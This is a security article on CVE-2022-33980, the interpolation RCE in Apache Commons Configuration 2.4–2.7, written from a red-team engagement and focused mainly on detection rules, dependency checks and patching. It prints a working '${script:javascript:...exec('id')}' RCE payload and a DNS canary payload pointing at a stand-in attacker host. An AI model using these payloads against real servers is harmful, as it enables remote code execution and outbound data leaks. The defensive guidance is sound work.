During a recent red team engagement targeting a legacy enterprise application, we identified an instance of Apache Commons Configuration 2.7 being used to process user-supplied configuration files. By injecting a specific interpolation string, I was able to trigger arbitrary code execution via the script lookup prefix. This vulnerability, tracked as CVE-2022-33980, highlights a recurring pattern in Java libraries where powerful features are enabled by default without sufficient input sanitization, much like the issues discussed in our guide on Hardening Apache ActiveMQ.
What is CVE-2022-33980?
CVE-2022-33980 is a critical vulnerability in the Apache Commons Configuration library. It stems from the library's support for variable interpolation, which allows developers to include dynamically evaluated expressions in configuration files. In versions 2.4 through 2.7, the default configuration of the ConfigurationInterpolator included several dangerous lookup prefixes that could be abused to execute code, query DNS servers, or fetch remote resources.
Overview of Apache Commons Configuration Vulnerability
The core of the issue lies in the StringSubstitutor class and its associated lookups. When an application processes a configuration file or a string containing a variable like ${prefix:name}, the library attempts to resolve the value using the registered lookup for that prefix. While prefixes like sys (system properties) or env (environment variables) are common, the inclusion of script, dns, and url by default created a significant security hole.
CVSS Severity Score and Risk Assessment
The vulnerability was assigned a CVSS v3.1 base score of 9.8 (Critical). The vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H indicates that it is remotely exploitable with low complexity, requires no privileges, and has a high impact on confidentiality, integrity, and availability. In the Indian context, CERT-In issued an advisory (CIAD-2022-0033) urging organizations to patch immediately, especially those in the banking and critical infrastructure sectors.
Understanding Variable Interpolation in Apache Commons
Variable interpolation is a mechanism designed to make configuration files more flexible. Instead of hardcoding a database URL, a developer might use ${env:DB_URL}. The ConfigurationInterpolator class handles these lookups. I observed that the library uses a map of Lookup objects, where each key represents a prefix.
The Role of Default Interpolators: script, dns, and url
The vulnerability exists because the DefaultLookups enum included the following entries in the affected versions:
- script: Uses the JVM's
ScriptEngineManagerto execute code in languages like JavaScript (Nashorn) or Groovy. - dns: Performs DNS resolutions, which can be used for data exfiltration or SSRF.
- url: Fetches content from a remote URL, potentially leading to SSRF or local file disclosure.
Mechanism of Arbitrary Code Execution (ACE)
The script lookup is the most dangerous. It allows an attacker to pass a script to the ScriptEngine. If the JVM is running on Java 8 or earlier, the Nashorn engine is available by default. I tested the following payload to confirm RCE:
Example payload using the script interpolator to execute 'id'
${script:javascript:java.lang.Runtime.getRuntime().exec('id')}
When the library encounters this string, it passes "javascript" and the Java code to the engine. The eval() method is called, and the OS command is executed with the privileges of the Java process.
Exploitation Scenarios and Attack Vectors
Attack vectors depend on how the application uses the library. If an application allows users to upload configuration files, edit settings via a web UI, or if it interpolates values from external sources like database entries or HTTP headers, it is vulnerable. We have seen cases where metadata from uploaded images was used to populate configuration objects, leading to a "blind" RCE scenario.
Identifying Vulnerable Apache Commons Configuration Versions
I have found that the vulnerability specifically affects versions 2.4, 2.5, 2.6, and 2.7. Versions prior to 2.4 did not include the script lookup by default, and version 2.8.0 disabled these dangerous lookups by default.
Common Java Frameworks and Applications at Risk
Many enterprise applications use Apache Commons Configuration for managing .properties, .xml, and .yaml files. It is often a transitive dependency in larger frameworks. During our audits of Indian fintech stacks, we frequently find this library in microservices that handle dynamic routing or feature flags, often requiring secure SSH access for teams to perform emergency patching and configuration audits.
How to Check Your Project Dependencies
To identify if your project is vulnerable, you should inspect your dependency tree. If you are using Maven, I recommend running the following command:
$ mvn dependency:tree -Dincludes=org.apache.commons:commons-configuration2
For Gradle projects, use:
$ ./gradlew dependencies --configuration runtimeClasspath | grep commons-configuration2
If the output shows a version between 2.4 and 2.7, the application is likely vulnerable if it performs interpolation on untrusted input.
Using SCA Tools to Find CVE-2022-33980
Software Composition Analysis (SCA) tools are the most efficient way to detect this at scale. Tools like Dependency-Check or Snyk flag this CVE immediately. When running a manual scan, look for the commons-configuration2-2.7.jar file in the WEB-INF/lib directory of your WAR files.
Manual Code Review for Configuration Interpolation
If you have access to the source code, look for usages of org.apache.commons.configuration2.Configuration. Specifically, check if the application calls methods that trigger interpolation, such as getString() or getList(), on objects initialized with default interpolators.
// Vulnerable code pattern Parameters params = new Parameters(); FileBasedConfigurationBuilder<FileBasedConfiguration> builder = new FileBasedConfigurationBuilder<FileBasedConfiguration>(PropertiesConfiguration.class) .configure(params.fileBased().setFile(new File("user_supplied.properties"))); Configuration config = builder.getConfiguration(); String value = config.getString("some.key"); // Interpolation happens here
Log Analysis for Suspicious Lookup Patterns
In production environments, detection relies on identifying the ${script:, ${dns:, or ${url: patterns in incoming requests or application logs. I have observed that attackers often obfuscate these payloads, but the core prefixes usually remain visible in raw logs.
Searching for common exploitation attempts in access logs
$ grep -Ei '\$\{script:|\$\{dns:|\$\{url:' /var/log/apache2/access.log
Building Custom SIEM Rules for Detection
To detect CVE-2022-33980 in real-time, we need to ingest web server logs, application logs, and WAF logs into a SIEM like Splunk or Elastic. The goal is to flag any occurrence of the interpolation syntax in common injection points like query parameters, headers (User-Agent, Referer), and POST bodies.
Sigma Rule for Cross-Platform Detection
I prefer using Sigma rules because they can be converted to various SIEM backends. Below is a Sigma rule I developed to detect these lookup patterns.
title: Apache Commons Configuration RCE Attempt (CVE-2022-33980) id: 5e3a2b1c-4d5e-4f6a-8b9c-0d1e2f3a4b5c status: experimental description: Detects potential exploitation of CVE-2022-33980 via interpolation prefixes. author: Security Research Team logsource: category: webserver detection: selection: c-uri|contains: - '${script:' - '${dns:' - '${url:' c-body|contains: - '${script:' - '${dns:' - '${url:' condition: selection falsepositives: - Legitimate configuration management traffic (rare in public-facing logs) level: critical
Splunk SPL Query for Log Analysis
If you are using Splunk, you can use the following Search Processing Language (SPL) query to hunt for these patterns across your indexed data.
index=web_logs OR index=waf_logs | eval payload=urldecode(_raw) | where match(payload, "(?i)\$\{(script|dns|url):") | table _time, src_ip, dest_host, payload, user_agent
Elasticsearch Query DSL
For Elastic environments, a Query DSL filter can be applied to a Watcher or a Detection Rule. I recommend using the wildcard or regexp query for better coverage.
{ "query": { "bool": { "should": [ { "wildcard": { "url.full": "${script:" } }, { "wildcard": { "url.full": "${dns:" } }, { "wildcard": { "url.full": "${url:" } }, { "wildcard": { "http.request.body.content": "${script:" } } ], "minimum_should_match": 1 } } }
Upgrading to Apache Commons Configuration 2.8.0 or Higher
The primary remediation is upgrading to version 2.8.0 or later. In version 2.8.0, the DefaultLookups were modified to exclude the dangerous interpolators. The library now requires developers to explicitly enable them if needed.
<!-- Updated Maven dependency --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-configuration2</artifactId> <version>2.8.0</version> </dependency>
Disabling Dangerous Interpolators in Legacy Systems
If an immediate upgrade is not possible, you can manually configure the ConfigurationInterpolator to remove the dangerous lookups. I have used this approach in legacy monolithic applications where dependency resolution is complex.
// Manual mitigation: Remove dangerous lookups from a Configuration object ConfigurationInterpolator interpolator = config.getInterpolator(); interpolator.deregisterLookup("script"); interpolator.deregisterLookup("dns"); interpolator.deregisterLookup("url");
Configuration Best Practices to Prevent Remote Code Execution
Beyond patching this specific CVE, we must adopt a "secure by default" posture. This includes:
- Input Validation: Never pass user-supplied data directly into configuration objects.
- Principle of Least Privilege: Run the JVM with a Security Manager (though deprecated, it can still provide some sandboxing) or within a container with restricted syscalls.
- Egress Filtering: Block outbound connections from application servers to prevent
dnsandurllookups from reaching external attackers.
CVE-2022-33980 vs. Log4Shell (CVE-2021-44228)
While CVE-2022-33980 is often compared to Log4Shell, there are key differences. Log4Shell targeted the jndi lookup in a logging library, which is almost ubiquitous. CVE-2022-33980 targets a configuration library, which is less common but still widely used. The exploitation mechanism—variable interpolation—is identical, proving that this class of vulnerability is a systemic issue in Java's design patterns.
The Growing Trend of Interpolation-Based Attacks in Java
We are seeing a trend where libraries that handle "templates" or "expressions" are being scrutinized. This includes Apache Commons Text (CVE-2022-42889, also known as Text4Shell) and various Spring Framework vulnerabilities. The lesson for developers is that any library performing string substitution or evaluation is a potential RCE vector, as highlighted in the OWASP Top 10.
Compliance and the DPDP Act 2023
For organizations operating in India, failing to patch known critical vulnerabilities like CVE-2022-33980 can have legal implications under the Digital Personal Data Protection (DPDP) Act 2023. Section 8(5) mandates that data processors take reasonable security safeguards to prevent personal data breaches. A breach resulting from an unpatched 9.8 CVSS vulnerability could lead to significant penalties, potentially up to ₹250 Crores.
Log Retention and Incident Response
The DPDP Act and CERT-In guidelines also emphasize the importance of log retention. For effective detection of CVE-2022-33980, I recommend maintaining at least 180 days of searchable logs. This allows for retroactive hunting if a new variant of the interpolation attack is discovered.
Technical Post-Exploitation Detection
If an attacker successfully exploits CVE-2022-33980, the SIEM should also look for post-exploitation behavior. The script lookup usually results in the Java process spawning a shell.
Auditd rule to detect suspicious child processes from Java
-a always,exit -F arch=b64 -S execve -F ppid=$(pgrep java) -k java_shell_spawn
I monitor for /bin/sh, /bin/bash, or cmd.exe being spawned by the java process. This is a high-fidelity indicator of RCE, regardless of the specific vulnerability used.
Monitoring for Network Anomalies
Since the dns and url lookups trigger outbound traffic, we can use Zeek or Suricata to detect these attempts at the network level. A simple Suricata rule can flag DNS queries containing suspicious patterns.
alert dns $HOME_NET any -> any any (msg:"ET EXPLOIT Apache Commons Configuration DNS Lookup"; content:"|03|dns|00|"; nocase; sid:1000001; rev:1;)
Final Technical Insight
When testing for this vulnerability, do not rely solely on the script prefix. Some environments might have specific engines installed that allow for different prefixes. Always test with a simple dns lookup first to verify if interpolation is active, as it is less likely to be blocked by basic WAF rules than a full java.lang.Runtime payload.
Testing for interpolation with a DNS canary
${dns:address|attacker-controlled-canary.com}
Next, examine the org.apache.commons.configuration2.interpol.ConfigurationInterpolator class file in your environment to see the defaultLookups map initialization.